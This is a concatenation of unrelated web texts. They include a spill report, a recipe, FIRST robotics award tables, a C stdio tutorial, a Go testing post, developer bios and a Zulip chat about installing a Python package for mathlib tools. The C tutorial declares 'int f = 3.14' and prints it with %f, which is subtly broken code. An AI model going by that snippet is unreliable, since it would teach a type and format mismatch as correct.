| NO REMEDIATION ACTIVITIES WERE PROPOSED. | |||||||
Prevent Problem: |
|||||||
| REPLACED VALVE WITH FLANGED 3" 300 LB VALVE TO ACCOMODATE HIGHER PRESSURES. | |||||||
Detailed Description: |
|||||||
| AT APPROXIMATELY 9:30 A.M. ON 12/10/13 A CONTRACT EMPLOYEE REPORTED WATER SURFACING AT THE AC 04-04 LATERAL FLOW LINE TO AN XTO SWD FOREMAN.  THE LINE BECAME OVERPRESSURED AND RUPTURED AT THE FUSE ON THE VALVE.  APPROXIMATELY 30 (BBLS) OF DISCHARGEABLE PRODUCED WATER WAS RELEASED. THE FLOW RAN ~215` NORTH AND ~180` SOUTHEAST. WATERS OF THE STATE WERE NOT IMPACTED. THE COGCC, O&G INSPECTOR (LAS ANIMAS COUNTY) AND LANDOWNER WERE NOTIFIED ACCORDINGLY. |
| Other Notifications |
|||
| Date | Agency | Contact | Response |
|---|---|---|---|
| 12/10/2013 | CPW | VELARDE | VOICE MAIL |
| 12/10/2013 | COGCC | GINTAUTAS | |
| 12/10/2013 | COUNTY | LUCERO | |
| 12/17/2013 | COGCC | GINTAUTAS | FROM 19 VIA EMAIL |
| Field Visit/Follow Up | ||
Name |
Phone |
Date |
|---|---|---|
No Field Visit data found. |
| Final Resolution | ||||||
| Date | Case Closed? | Letter Sent? | COGCC person | |||
|---|---|---|---|---|---|---|
| 12/17/2013 | Y | N | Peter Gintautas | |||
SPILL OF PRODUCED WATER TYPICALLY DISCHARGED TO WATERS OF THE STATE UNDER CDPS. IMPACTS IF ANY ASSUMED TO BE THOSE CONTEMPLATED BY PERMIT ISSUED BY WQCD. NO FURTHER ACTIONS AT THIS TIME. |


The_Flash
After a particle accelerator causes a freak storm, CSI Investigator Barry Allen is struck by lightning and falls into a coma. Months later he awakens with the power of super speed, granting him the ability to move through Central City like an unseen guardian angel. Though initially excited by his newfound powers, Barry is shocked to discover he is not the only "meta-human" who was created in the wake of the accelerator explosion -- and not everyone is using their new powers for good. Barry partners with S.T.A.R. Labs and dedicates his life to protect the innocent. For now, only a few close friends and associates know that Barry is literally the fastest man alive, but it won't be long before the world learns what Barry Allen has become...The Flash!


Preparation time
less than 30 mins
Cooking time
30 mins to 1 hour
Serves
Serves 16
Dietary
This heavenly dessert – gooey brownie and squidgy meringue sandwiched with whipped cream and raspberries – is perfect for any celebration.
Preheat the oven to 190C/375F/Gas 5. Grease and line two 23cm/9in sandwich tins
For the brownie base, melt 180g/6¼oz of the chocolate in a bowl set over a pan over simmering water. Chop the remaining chocolate and set aside.
Meanwhile, cream the butter and icing sugar together in a separate bowl until light, creamy and fluffy. Slowly whisk in the eggs, one at a time, until well combined.
Gradually beat in the flour until the mixture is very smooth. Slowly pour in the melted chocolate and fold it into the mixture, then fold in the chopped chocolate.
Pour the brownie mixture into the prepared sandwich tins and bake for 10-12 minutes. Reduce the oven temperature to 170C/325F/Gas 3.
Meanwhile for the meringue topping, whisk the egg whites and cream of tartar in a bowl until soft peaks form when the whisk is removed. Slowly whisk the sugar until smooth and glossy, then fold in the chopped hazelnuts with a metal spoon.
Spoon the meringue topping onto the cooked brownie base. Use a palette knife to smooth the meringue mixture in one sandwich tin and use a skewer to make peaks in the meringue mixture in the other tin.
Return the sandwich tins to the oven for a further 30 minutes, or until the meringue is golden-brown. Remove from the oven and set aside to cool. Carefully remove the cakes from the tin and set aside to cool completely on a wire rack.
For the filling, whip the cream and icing sugar together in a bowl until stiff peaks form when the whisk is removed. Fold in the raspberries.
To assemble, place the flat meringue brownie, meringue-side down onto a cake stand or large plate, spoon over the raspberry cream and top with the remaining cake, brownie-side down. Sprinkle over the chopped hazelnuts and pistachios.


This is an application that demonstrates identity-based text word and sentence prediction through language models created using Python 3.6.2, PyTorch 0.2.0_3 and Flask.
This application and its resources have been created for the University of Illinois at Urbana-Champaign Master of Computer Science in Data Science CS410 Text Information Systems class. However, it is for anyone and everyone who like to tinker and play with technology.
At the root of the application two character-level neural language models (one for Homer Simpson and the second for Sherlock Holmes) were created using a Recurrent Neural Network with Long short-term memory (RNN-LSTM) layers.
First, a two layer generic identity model was trained using the Cornell University Movie Dialog Corpus. Then, the identity models were constructed by copying the generic identity model layers, freezing them and adding two more identity layers after them. Since the first two layers of the model (the generic identity layers) were frozen, upon training, the last two layers were updated to encapsulate the specific identity of the character.
Hello! My name is Elmar Langholz and I enjoy solving complex real world problems with technology. Feel free to checkout the source code in the identity-word-prediction github repo or contact me through linkedin.


Pat's
Cookies
Home
Locations
Shop
Add a new store!
Store Name
Minimum Customers Per Day
Maximum Customers Per Day
Average Cookies Purchased Per Customer


|
FIRST
Championship |
4/30/2011 - 4/30/2011 |
|||
|
Award |
Team |
Name |
Home Town |
|
Championship
- FRC Outstanding Volunteer Award |
Ceci Neuman |
||
|
Championship
- Founders Award |
The
Boeing Company |
||
|
Championship
- Imagery Award in honor of Jack Kamen |
2169 |
BOSTON
SCIENTIFIC CORP/ADC Telecommunication/PTC Minnesota/Integra Telecom/EAC/Prior
Lake Optimist Club & Prior Lake High School |
Prior
Lake/Savage, MN, USA |
|
Championship
- Innovation in Control Award sponsored by Rockwell Automation |
2056 |
CNC
Woodcraft & HWDSB & Orchard Park Secondary School |
Stoney Creek, ON, Canada |
|
Championship
- Creativity Award sponsored by Xerox |
1983 |
Boeing/AHS
PTSA/PTC/Aerojet-Gen Corp/OMAX/MicroRAX
& Aviation High School |
Des
Moines, WA, USA |
|
Championship
- Engineering Excellence Award sponsored by Delphi |
2054 |
General
Motors Grand Rapids / Midway Chevrolet of Plainwell / Grand Allegan Chevrolet
& Hopkins High School & AAESA Tech Center |
Hopkins,
MI, USA |
|
Championship
- Entrepreneurship Award sponsored by Kleiner
Perkins Caufield and Byers |
687 |
Boeing/Northrop-Grumman/Raytheon/CAMS
PTSO/Rhodia/Shell & California Academy of
Mathematics and Science |
Carson,
CA, USA |
|
Championship
- Web Site Award |
245 |
GM
Global Product Operations/Plex Systems, Inc. &
Rochester Adams and Stoney Creek High Schools |
Rochester
Hills, MI, USA |
|
Championship
- Woodie Flowers Award |
365 |
John
Larock |
Wilmington,
DE, USA |
|
Championship
- Excellence in Design Award sponsored by Autodesk (Animation) |
1671 |
PTC/Pelco/Educational Employees Credit Union/California Imaging
Institute/CV Robotics & Buchanan High School |
Clovis,
CA, USA |
|
Championship
- Excellence in Design Award sponsored by Autodesk (3D CAD) |
75 |
J&J
Consumer and Personal Products Worldwide - / BAE Systems & Hillsborough
High School |
Hillsborough,
NJ, USA |
|
Championship
- Industrial Design Award sponsored by General Motors |
254 |
NASA
Ames Research Center / BAE Systems / Pacific Coast Metal / Gilbert Spray Coat
/ Pacific Precision / Lian-Mueller Enterprises / Advanced
Welding / All Weld Fabrication and Manufacturing / Good Plastics / Hewlett
Packard / Trimberger Family Foundation |
San
Jose, CA, USA |
|
Championship
- Quality Award sponsored by Motorola |
1538 |
Nordson Asymtek
/ BlueChip Machine & Fabrication / BAE SYSTEMS
/ SAIC / Qualcomm / SRT-Nypro / Vivid Hosting / San
Diego County Sheriff's Department & High Tech High School |
San
Diego, CA, USA |
|
Championship
- Gracious Professionalism sponsored by Johnson & Johnson |
118 |
NASA-JSC
& Clear Creek ISD |
League
City, TX, USA |
|
Championship
- Team Spirit Award sponsored by Chrysler |
329 |
Motorola
Foundation & Patchogue-Medford High School |
Medford,
NY, USA |
|
Championship
- Judge's Award |
3132 |
Greater
Sydney High Schools/Macquarie University/Altium/BAE Systems & Greater
Sydney High Schools |
Sydney,
NSW, Australia |
|
Championship
- Judge's Award |
3747 |
jcpenney & RBA Public
Charter School |
Mankato,
MN, USA |
|
Championship
- Judge's Award |
|||
|
Championship
- Rookie Inspiration Award |
3527 |
ITESM |
Atizapan, MEX, Mexico |
|
Championship
- Rookie All Star Award |
3478 |
General
Motors & ITESM High School Campus San Luis |
San
Luis Potos√≠, SL, Mexico |
|
Championship
- Industrial Safety Award sponsored by Underwriters Laboratories |
1710 |
Ruskin
/ Morningstar Dental / Perceptive Software / Black & Veatch / Grundfos / SES Inc. / US Engineering / Garmin / Batteries
Plus / Honeywell & Olathe Northwest High School |
Olathe,
KS, USA |
|
Championship
- Championship Finalist #1 |
781 |
Bruce
Power/Power Workers' Union & Kincardine
District Secondary School |
Kincardine, ON, Canada |
|
Championship
- Championship Finalist #2 |
177 |
UTC
Power / Ensign Bickford Aerospace & Defense & South Windsor High
School |
South
Windsor, CT, USA |
|
Championship
- Championship Finalist #3 |
2016 |
Johnson
& Johnson Consumer and Personal Products Worldwide/Janssen Pharmaceutica & Ewing High School and Marie Katzenbach School for the Deaf |
Ewing,
NJ, USA |
|
Championship
- Championship Finalist #4 |
|||
|
Championship
- Championship Champion #1 |
254 |
NASA
Ames Research Center / BAE Systems / Pacific Coast Metal / Gilbert Spray Coat
/ Pacific Precision / Lian-Mueller Enterprises / Advanced
Welding / All Weld Fabrication and Manufacturing / Good Plastics / Hewlett
Packard / Trimberger Family Foundation |
San
Jose, CA, USA |
|
Championship
- Championship Champion #2 |
111 |
Motorola
Foundation / Innovation First International & Rolling Meadows High School
& Wheeling High School & Prospect High School |
Schaumburg,
IL, USA |
|
Championship
- Championship Champion #3 |
973 |
NASA
/ Pacific Gas & Electric / LARON Incorporated / JLP Enterprises LLC / Cal
Poly San Luis Obispo / Mike Hendricks & Atascadero High School Greyhound
Revolutionary Robotics |
Atascadero,
CA, USA |
|
Championship
- Championship Champion #4 |
|||
|
Deanís
List |
1334 |
Nicholas Bandiera |
Oakville, ON, Canada |
|
Deanís List |
1985 |
Luther Banner |
Florrisant, MO |
|
Deanís List |
228 |
Tina Dutra |
Meriden, CT |
|
Deanís List |
2543 |
Santiago Garza |
Chula Vista, CA |
|
Deanís List |
1983 |
Lydia Johnston |
Seahurst, WA |
|
Deanís List |
2534 |
JB Ring |
Pikesville, MD |
|
Deanís List |
135 |
Michael Schrager |
Mishawaka, IN |
|
Deanís List |
78 |
Michael Violet |
Middletown, RI |
|
Deanís List |
987 |
Cody Wall |
Las Vegas, NV |
|
Deanís List |
1868 |
Christina Wettersten |
Palo Alto, CA |
|
Championship
- Engineering Inspiration Award |
1629 |
NASA/Pillar
Innovations/Beitzel Corporation/Wilson Supply/jcpenney & Garrett County Public Schools |
McHenry,
MD, USA |
|
Championship
- Chairman's Award |
359 |
NASA/Castle
& Cooke, Inc. Dole Plantation/McInerny
Foundation/University of Hawaii-Melvin Matsunaga/Randy
Wood/Hawaii Space Grant Consortium/Ted's Bakery/AFCEA Hawaii/Waialua High
School Foundation/Friends of Hawaii Robotics/North Shore Hanapa'a
Club/BAE |
Waialua,
HI, USA |
|
Match scheduling software © 2007 Idle Loop Software Design, LLC. |
|
|
FIRSTó For Inspiration and Recognition of Science and Technology |
Copyright © 2011 FIRST |
|
|
Data brought to you by 4FX Design |
|


Google Cloud
Region Picker
This tool helps you pick a Google Cloud region considering carbon footprint, price and latency.
This tool helps you pick a Google Cloud region considering carbon footprint, price and latency.


printf
int a = 5;
int f = 3.14;
double g = 3.14159265358979;
printf("Hello, world!\n");
printf("This is an integer: %d\n", a);
printf("Here's an integer %d and a float %f\n", a, f);
printf("And a double: %lf\n", g);
The first string argument to printf
is called the
format string. The significant letter or letters after the
%
are called the format specifier.
printf
can put leading zeros on, print things in hexadecimal,
justify left or right, set field widths, and all kinds of stuff.
Fun Fact: The
printf
function actually makes an appearance in Python as the%
string operator.
scanf
int a;
char b[100];
printf("Enter a value: ");
scanf("%d", &a); // The & is important for non-arrays
printf("You entered %d\n", a);
printf("Enter a string: ");
scanf("%s", b); // No & with arrays (& is implied)
printf("You entered %s\n", b);
You can open a file for reading or writing with fopen()
. Then
use fprintf()
to write to it, or fscanf()
to
read from it (just as if it were the screen or keyboard).
FILE *fp;
fp = fopen("myfile.txt", "w"); // or "r" for read
if (fp == NULL) {
printf("An error occurred opening the file!\n");
printf("Probably file not found.\n");
} else {
// Print this to the file
int data = 12;
fprintf(fp, "Hello, world! Data is %d.\n", data);
fclose(fp); // All done, close the file
}
There are three standard files that are already open for you when you use
the stdio
routines.
stdin
: standard input (the keyboard, typically)stdout
: standard output (the screen, typically)stderr
: standard error (also the screen, but used for error
messages)
These two lines are equivalent:
The most common use case is printing errors:
Count down from 10 to 0.
Read two numbers from the keyboard and print out their sum.


Notes & Thoughts on Go:
So far I like Go. Primarily because it is just simple. Simply RTFMing it gets one pretty far without any fuss. The hardest part of the language to grasp seems to be the same things I often have issue with, which is the ecosystem has it’s own conventions are related things one just simply doesn’t know. It involves going through the docs and just remembering where the GOPATH is, where the build files go, what the go commands do with the toolset, and related things.
One thing that required a bit of fiddling around with to get figured out was writing tests for Go. The convention to mark tests and have them executed is actually super easy once you know the specifics of the toolchain.
The first thing one does is create a file or add tests to the file that has the code you want to test. For example, here’s a simple sample I created in an existing project I’m working on.
I created a file called main_test.go
. The convention follows that any file with test at the end of the filename and before the extension will be processed as a file that includes tests. This by its very nature makes it necessary to place tests in the code with the functions that are being tested specifically. This could cause issue for some that are used to writing tests another way, but it also makes a lot of sense. But I’m not debating that in this write up, so onward.
I created the file main_test.go
in the root of the project directory. Once I created the file I added the following code. The package is part of the main package, and I’d need the test library imported.
package main
import "testing"
Next I added a struct to use for test data. Below that I created variable with the test data that I would use to test my average function. Then below that I wrote a test that would assert that the function averages numbers appropriately. In the Error I’ve followed the for, expected, got testing flow to asset the expectation of the result of the function.
type testpair struct {
values []float64
result float64
}
var testAverages = []testpair{
{ []float64{1,2}, 1.5 },
{ []float64{1,1,1,1}, 1 },
{ []float64{-2,2}, 0 },
}
func TestAverage(t *testing.T) {
for _, pair := range testAverages {
v := Average(pair.values)
if v != pair.result {
t.Error(
"For", pair.values,
"expected", pair.result,
"got", v,
)
}
}
}
At this point, following this TDD style approach, the build fails without the Average
func implemented. I continued forward and implement the function as shown below.
func Average(xs []float64) float64 {
total := float64(0)
for _, x := range xs {
total += x
}
return total / float64(len(xs))
}
I execute the test with the Go toolchain command. When executing this command it needs to be called from the root of the Go project code.
go test
With that I get a nice clean execution and shown that the test passes. More on this later. For now on to other news about myself and Go.
Go Projects!
Over the last few weeks I’ve been speaking with the crew at Codeship. If you’re not familiar with this company and its products you should check them out ASAP. They’re easily producing some of the best material on continuous integration, delivery, and related conversations and implementations of immutable infrastructure, immutable deployments, and related container based development practices and patterns. I’m super stoked to announce that I’ve started working with them on some material that you’ll see in the coming days related to just that.
Some of my first contributions to their blog will be step by step details on setting up Go projects within Codeship, stepping all the way through to continuous delivery, local development with Codeship Pro capabilities and container technology, and onward to more complex deployments including things like Terraform, Packer, Kubernetes, and other toolchains. Keep an eye out here and on their blog (https://blog.codeship.com) and I’ll be sure to let you know when the posts are going live ASAP.
Also, for a less regular bombardment of posts than my @Adron or @ThrashingCode Twitter accounts, you can also sign up for my very low volume email newsletter Thrashing Code News to get rolled up release notes and links.
Cheers!


I am a current STAT + CS major student at University of Illinois at Urbana Champaign. I also like to sing and play basketball during my free time.
1.Organized a team and joined a volunteer group in Yunnan. 2.Held activities for kids from 5-12 years old whose parents work in another city and cannot stay with them during summer. 3. Joined the music team in the camp, accompanied with piano and taught kids a few songs.
1. Organize weekly meeting and introduce Chinese culture to club members. 2. Organize special activities on important Chines festivals such as New Year and mid-autumn.
GPA 91.87/100
GPA: 3.86
Apart from studying, I enjoy singing and playing basketball. I also love traveling to different places in the world during holidays. I participated in varioius music school events. I started to learn piano at the age of 5.


No Cast API is detected.
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The best outcome for the customer is when the problem is well understood and the constraints defined.
Technology moves quickly and you have a business to run. Moving faster is key to keeping your customers happy. We can help you with that.
Technology moves quickly and you have a business to run. Moving faster is key to keeping your customers happy. We can help you with that.
Outcomes are important, and software can help achieve good outcomes for your business and customers. We believe in outcome-based software, and we'll help you acheive your goals.


Common elements and snippets
Buttons
Affirmative
Deny
Alerts
Success!
Something wrong!


 and "What if it looked like a site in the 90s but not awful?" Neth likes the Flying Toasters screen savers more than he should probably admit.
Jimmy is a world class competitive eater. He competes against himself. When not coding or eating, he's found pretending to hike mountains or catching up on sleep. Jimmy is looking forward to building unique solutions that utilizes his skillset.
I enjoy long walks through my living room. Competetitive athlete throughout life. Made a sharp turn to the couch life, But learned that I like my bed better. Ambitiously unambitious with a fragment of Intelligence, therefore I see no meaning in life as we know it.
Tre boogie is a full-stack developer from the city of Los Angeles who spends his leisure time as a beer fanatic and avid sports fan. He was once heard saying “If it’s physical and competitive” then It’s for me. He hopes to develop his own healthcare application that will aid in a service for the benefit of humanity.


- acquireConnection() - Method in class software.amazon.awssdk.crt.http.HttpClientConnectionManager
-
Request a HttpClientConnection from the Connection Pool.
- activate() - Method in class software.amazon.awssdk.crt.http.HttpStream
-
Activates the client stream.
- addHeader(HttpHeader) - Method in class software.amazon.awssdk.crt.http.HttpRequest
-
- addHeader(String, String) - Method in class software.amazon.awssdk.crt.http.HttpRequest
-
- addHeaders(HttpHeader[]) - Method in class software.amazon.awssdk.crt.http.HttpRequest
-
- addRef() - Method in class software.amazon.awssdk.crt.CrtResource
-
Increments the reference count to this resource.
- addReferenceTo(CrtResource) - Method in class software.amazon.awssdk.crt.CrtResource
-
Marks a resource as referenced by this resource.
- alpnList - Variable in class software.amazon.awssdk.crt.io.TlsContextOptions
-
Sets the ALPN protocol list that will be provided when a TLS connection
starts e.g.
- AsyncCallback - Interface in software.amazon.awssdk.crt
-
- AWS_CRT_SUCCESS - Static variable in class software.amazon.awssdk.crt.CRT
-
- awsErrorName(int) - Static method in class software.amazon.awssdk.crt.CRT
-
Given an integer error code from an internal operation
- awsErrorString(int) - Static method in class software.amazon.awssdk.crt.CRT
-
Given an integer error code from an internal operation
- awsLastError() - Static method in class software.amazon.awssdk.crt.CRT
-
Returns the last error on the current thread.
- AwsSigner - Class in software.amazon.awssdk.crt.auth.signing
-
- AwsSigner() - Constructor for class software.amazon.awssdk.crt.auth.signing.AwsSigner
-
- AwsSigningConfig - Class in software.amazon.awssdk.crt.auth.signing
-
A class representing
- AwsSigningConfig() - Constructor for class software.amazon.awssdk.crt.auth.signing.AwsSigningConfig
-
- AwsSigningConfig.AwsBodySigningConfigType - Enum in software.amazon.awssdk.crt.auth.signing
-
- AwsSigningConfig.AwsSigningAlgorithm - Enum in software.amazon.awssdk.crt.auth.signing
-


FG pledges to aid creative industry’s growth
by EditorMinister of Information and Culture, Alhaji Lai Mohammed has said that the Federal Government will remove all impediments to the growth of the creative industry.
The minister gave the assurance in Lagos yesterday at the All Africa Music Awards (AFRIMA).
“As we head into 2020, the successful commercialisation of the creative industry is our number one priority. It will create jobs, reduce crime, be a major source of foreign exchange and thereby reduce our dependence on oil, rebrand our country internationally and boost the Gross domestic Product (GDP),” he said.
According to Mohammed, government is providing the necessary framework through the office of the Attorney General of the Federation (AGF) to ensure that music consumers pay.


Based on this video by Numberphile.
Modify anchor points to the left.
Click and drag on anchors to move them.


Use of KineticGold Account
1 oz Gold = 1 Coin = $1,340
(13 April, 2018)
For every deposit – receive a 10%
reward.
Reward is put in a Savings account
with a 6 month maturity.
Limits may be applied depending
Gold availability for purchase.


User {{user.user.username}} - personal information:
| Username |
First name |
Last name |
Email |
Operations |
| {{user.user.username}} |
{{user.user.firstName}} |
{{user.user.lastName}} |
{{user.user.email}} |
Edit |
Author of recipes:
None
0" class="table table-bordered table-hover">
| Title |
Image |
Info |
| {{recipe.title}} |
|
Details |
Comments:
None
0" class="table table-bordered table-hover">
| Content |
Info |
|
Number of comments added: {{comment.comments.length}}
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|
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| Rating |
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|
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({{rating.rating}})
|
Details |


16 Apr 2015
CGO
Complex Geometric Optics solution plays a big role in theoretic proofs. The flexibility of constructing a solution is the advantage.
For example,
$$(\Delta + q) u = 0$$
with reasonable potential $q$ will admit solutions in form
$$u = e^{\xi \cdot x}(1 + \phi)$$
with $\phi$ and $\nabla \phi$ controlled by scale of $O(|\xi|^{-1})$ and $O(1)$ in weak sense.
For 3D or above sapce, Calderon problem or similar problem, namely
$$\int (t_1 - t_2) u v = 0$$
for all $u,v$ as solutions of Schrodinger equation with potential $q_1$ and $q_2$, it is trivial to use CGO to conclude that $t_1 = t_2$, if $t_1 - t_2 \in L^2(\Omega)$, without requirement on compact support.
For 2D, we could not form a local 3D orthogonal basis, but using quadratic Carleman weight and stationary phase theorem will help.
take $u,v$ will appropriate form, and
$$\int (t_1 - t_2) e^{i\psi/h} (1 + r)(1 + s) = 0$$
with $|r|, |s|$ controlled by $O(h^{1+\epsilon})$ in $L^2$ sense.
And the leading term can be explicitly represented if there is only one non-degenerating critical point in domain, and it is at $O(h)$ scale, non-zero constant. Let $h\to 0$, then $t_1 - t_2 = 0$. But be careful about one thing, the stationary phase theorem needs $t_1 - t_2$ compactly supported.
For stability concern, it is quite tricky in 2D. We can refer to a lot of papers on Calderon problem in 2D, using Beltrami equation.
3D and above will be quite easy following the Fourier transform method, the coefficients of Fourier modes are bounded by some small numbers, and Fourier coefficients are related to $H^k$ norm, if those small numbers(possibly related to frequency) does not grow too fast, or in another word, polynomial growth, there will always be some norm for the stability argument, that is quite trivial.


This page is a simple host of the gadget JavaScript.
This is the lurquell robot. Apparently the JavaScript support in your browser isn't working properly though.
This status bar will tell you what the gadget and robot are up to.


Partner Testing Links
Medieval Farms
MedFarms GamePix.com
MedFarms Wanted5Games.com
MedFarm GameMonetize.com
Stacker
Stacker GamePix.com
Stacker GameMonetize.com
Stacker GameDistribution.com
FRAMED Stacker GameDistribution.com


-
Interface Summary
| Interface |
Description |
| Popup |
|
-
Class Summary
| Class |
Description |
| AlertPopup |
Popup used to display messages from server
|
| BufferPopup |
Popup used to store the marbles buffer after interactions with the marbles market
|
| CardPaymentPopup |
Popup used to ask how to pay a chosen development card
|
| DevMarketPopup |
Popup that displays all the available development cards
|
| LeaderPopup |
Popup that handles all the possibles actions for the relative leader card
|
| LorenzoPopup |
Popup that shows Lorenzo's information
|
| MarketPopup |
Popup that handles the interaction with marbles market
|
| PlacementCardPopup |
Popup that handles the placement of a bought development cards
|
| ProductionPaymentPopup |
Popup used to ask how to pay a chosen combo-production-slots
|
| ProductionPopup |
Popup that handles the production slots choice
|
| ShowOpponentPopup |
Popup that shows all the information for the selected opponent
|
| SwapPopup |
Popup that manages all the swapping actions
|


{% extends 'base.html'%} {% load static %} {%block head%} {%endblock head%} {% block content %} PLEASE CONFIRM YOUR BOOKING You are {{book.fullName}}, booking for {{book.participants}} person/people from {{book.country}} to our {{destination}} Tour on {{date}} : {{time}} {% csrf_token %} Confirm {% endblock content %}
You are {{book.fullName}}, booking for {{book.participants}} person/people from {{book.country}} to our {{destination}} Tour on {{date}} : {{time}}


--- title: Not Found permalink: "/404.html" background_image: "/images/us-capitol.jpg" layout: default --- {% include header.html %}
This page doesnt exist!


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/pip.20install.20mathlibtools.html ---
I just created a python package for our mathlib supporting tools at https://pypi.org/project/mathlibtools/0.0.1/. We now need as many people as possible to try it in various settings. In order to help the community in this new adventure, you only need to:
update-mathlib
(if any) gets out of the way. It probably means moving $HOME/.mathlib/bin/
somewhere your shell won't look at.pip
command, preferably in a weird setup (windows, multiple versions of python installed in conflicting ways...)pip install mathlibtools
(or pip3 install ...
or sudo pip install ...
or pip install --user
or whatever variation you can think of).lean-3.4.2
and mathlib
and type update-mathlib
(see this doc if you don't know how to make one)cache-olean
and setup-lean-git-hooks
I am an ideal candidate for this because I'm using Ubuntu which has python2 by default. But doesn't this mean that it just won't work? Do I need to go into some python3 environment first?
You probably need to use sudo pip3 install mathlib-tools
.
or pip3 install --user mathlibtools
without any workon
stuff?
You can also try in a virtualenv (ie. after workon
) but this would be a different test case.
ooh I've never been in ~/.mathlib
before. I seem to have 39 files called things like mathlib-olean-nightly-2019-05-23.tar.gz
oh man I also have my hooks
for when I work on mathlib. Should I move them too?
If you intend to test setup-lean-git-hooks
then you should also move that folder away, just to make sure.
Ok I'll just move all of .mathlib
out of the way
Your 39 files are all the compiled versions of mathlib that update-mathlib ever downloaded for you. We could have a contest to see who is the greatest update-mathlib user.
I have 55 of them!
Who has more?
I typed pip3 install --user mathlibtools
and now I have no command update-mathlib
I have update-motd
-- will that do?
no
I have no ~/.mathlib
Could you try to sudo pip3 install mathlibtools
version?
Before I do that, can you clarify if my PATH
is supposed to have changed, or if I am now supposed to have a ~/.mathlib
?
None of those.
Could you try to
sudo pip3 install mathlibtools
version?
Is this some trick to hack me?
$ sudo pip3 install mathlibtools [sudo] password for buzzard: The directory '/home/buzzard/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. The directory '/home/buzzard/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. Requirement already satisfied: mathlibtools in ./.local/lib/python3.6/site-packages Requirement already satisfied: toml in ./.local/lib/python3.6/site-packages (from mathlibtools) Requirement already satisfied: certifi in ./.local/lib/python3.6/site-packages (from mathlibtools) Requirement already satisfied: gitpython in ./.local/lib/python3.6/site-packages (from mathlibtools) Requirement already satisfied: requests in ./.local/lib/python3.6/site-packages (from mathlibtools) Requirement already satisfied: PyGithub in ./.local/lib/python3.6/site-packages (from mathlibtools) Requirement already satisfied: gitdb2>=2.0.0 in ./.local/lib/python3.6/site-packages (from gitpython->mathlibtools) Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in ./.local/lib/python3.6/site-packages (from requests->mathlibtools) Requirement already satisfied: idna<2.9,>=2.5 in ./.local/lib/python3.6/site-packages (from requests->mathlibtools) Requirement already satisfied: chardet<3.1.0,>=3.0.2 in ./.local/lib/python3.6/site-packages (from requests->mathlibtools) Requirement already satisfied: deprecated in ./.local/lib/python3.6/site-packages (from PyGithub->mathlibtools) Requirement already satisfied: pyjwt in ./.local/lib/python3.6/site-packages (from PyGithub->mathlibtools) Requirement already satisfied: six in ./.local/lib/python3.6/site-packages (from PyGithub->mathlibtools) Requirement already satisfied: smmap2>=2.0.0 in ./.local/lib/python3.6/site-packages (from gitdb2>=2.0.0->gitpython->mathlibtools) Requirement already satisfied: wrapt<2,>=1.10 in ./.local/lib/python3.6/site-packages (from deprecated->PyGithub->mathlibtools) buzzard@bob:~$
If you use pip3
with --user
, the package gets installed in a different folder that might not be in your path. You can run python3 -c 'import site; print(site.USER_SITE)'
to see where.
My python3 is Python 3.6.9, I notice
once installed mathlibtools
seems to work well for me
Hey, Kevin's pip still tried a user space install.
$ virtualenv -p python3.7 .py $ .py/bin/pip install mathlibtools Successfully installed mathlibtools-0.0.1 $ .py/bin/update-mathlib Querying GitHub... Reusing cached olean archive ... successfully extracted olean archive.
This will all be Ubuntu's default set-up for python3.
$ dpkg -S /usr/bin/python3 python3-minimal: /usr/bin/python3 buzzard@bob:~$
because I have no idea how python2/3/whatever works, all I ever do is use the Ubuntu package manager to install python packages
Kevin, do you see anything in $HOME/.local/bin/
?
OK so if I do workon format_lean
(Patrick this is the set-up you explain in the format_lean docs) and then pip install mathlibtools
then it seems to work
My python is now 3.7.1
Ok, this is good but not good enough. It should also work outside of a virtual env.
Do you see anything in $HOME/.local/bin/
?
[I'm just actually testing update-mathlib, hang on]
(format_lean) buzzard@bob:~/lean-projects/test$ update-mathlib Info: No github section found in 'git config', we will use GitHub with no authentication Querying GitHub... Error: no nightly archive found no cache found
What is in you leanpkg.toml?
eew that's my fault
April 2018!
I would be easier to test that in a project where update-mathlib used to work.
$ more leanpkg.toml [package] name = "test" version = "0.1" lean_version = "nightly-2018-04-06" path = "src" [dependencies] lean-lib = {git = "https://github.com/unitb/lean-lib", rev = "1ccbd0da9d71eac905559f8ca6768098f5ed617e"} mathlib = {git = "https://github.com/leanprover-community/mathlib", rev = "5df2ee70cfd576e6fa11359496a8a06c029151c9"} (format_lean) buzzard@bob:~/lean-projects/test$
How did that happen??
oh I'm an idiot, all my fault. My "new" test repo already existed
lean-version
has to be lean-3.4.2
.
Yes! I think that test dir was there from years ago. It all works fine.

It's not in my PATH
though
Ubuntu says
buzzard@bob:~$ echo $PATH /home/buzzard/.pyenv/bin:/home/buzzard/.mathlib/bin:/home/buzzard/.mathlib/bin:/home/buzzard/.elan/bin:/home/buzzard/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/local/java/jdk1.8.0_77/bin:/usr/local/java/jdk1.8.0_77/jre/bin:/home/buzzard/Encfs/bin:/home/buzzard/Dropbox/bin
(I put the last two or three there myself)
The fact that the sudo version doesn't work is probably pyenv
messing up things.
The --user
issue seems to be a known but unfixed issue: https://github.com/pypa/pip/issues/3813
can you try a bare pip install mathlibtools
?
and then which update-mathlib
$ pip Traceback (most recent call last): File "/usr/bin/pip", line 9, in <module> from pip import main ImportError: cannot import name main
This doesn't bode well, right?
@Patrick Massot This new update-mathlib
seems to overwrite ./src
instead of _target/deps/mathlib/src
@Kevin Buzzard What does the which pip
command say?
I think I once did something which nobody should do with pip
. I once googled this. This will be a python2 pip and I never use python2.
pip3 install mathlibtools
works fine (but doesn't put update-mathlib anywhere where my path spots it)
What does the which pip3
command report? It looks like you may be using a non-system pip3 from /home/buzzard/.pyenv/bin
Oops, this src
issue is a bug I introduced while refactoring a bit. I shouldn't have done that at the same time.
@Etienne Laurin I pushed a fix to pypi, thanks!
Étienne, can you confirm that installation worked for you without fiddling with PATH?
Yes, but I used a virtualenv and invoke update-mathlib using a relative path.
What if you try a system install?
sudo pip3 install mathlibtools
installs to my path but pip3 install mathlib
doesn't.
And can you see where pip3 install
puts it? Is it in $HOME/.local/bin
?
Yep, that's where.
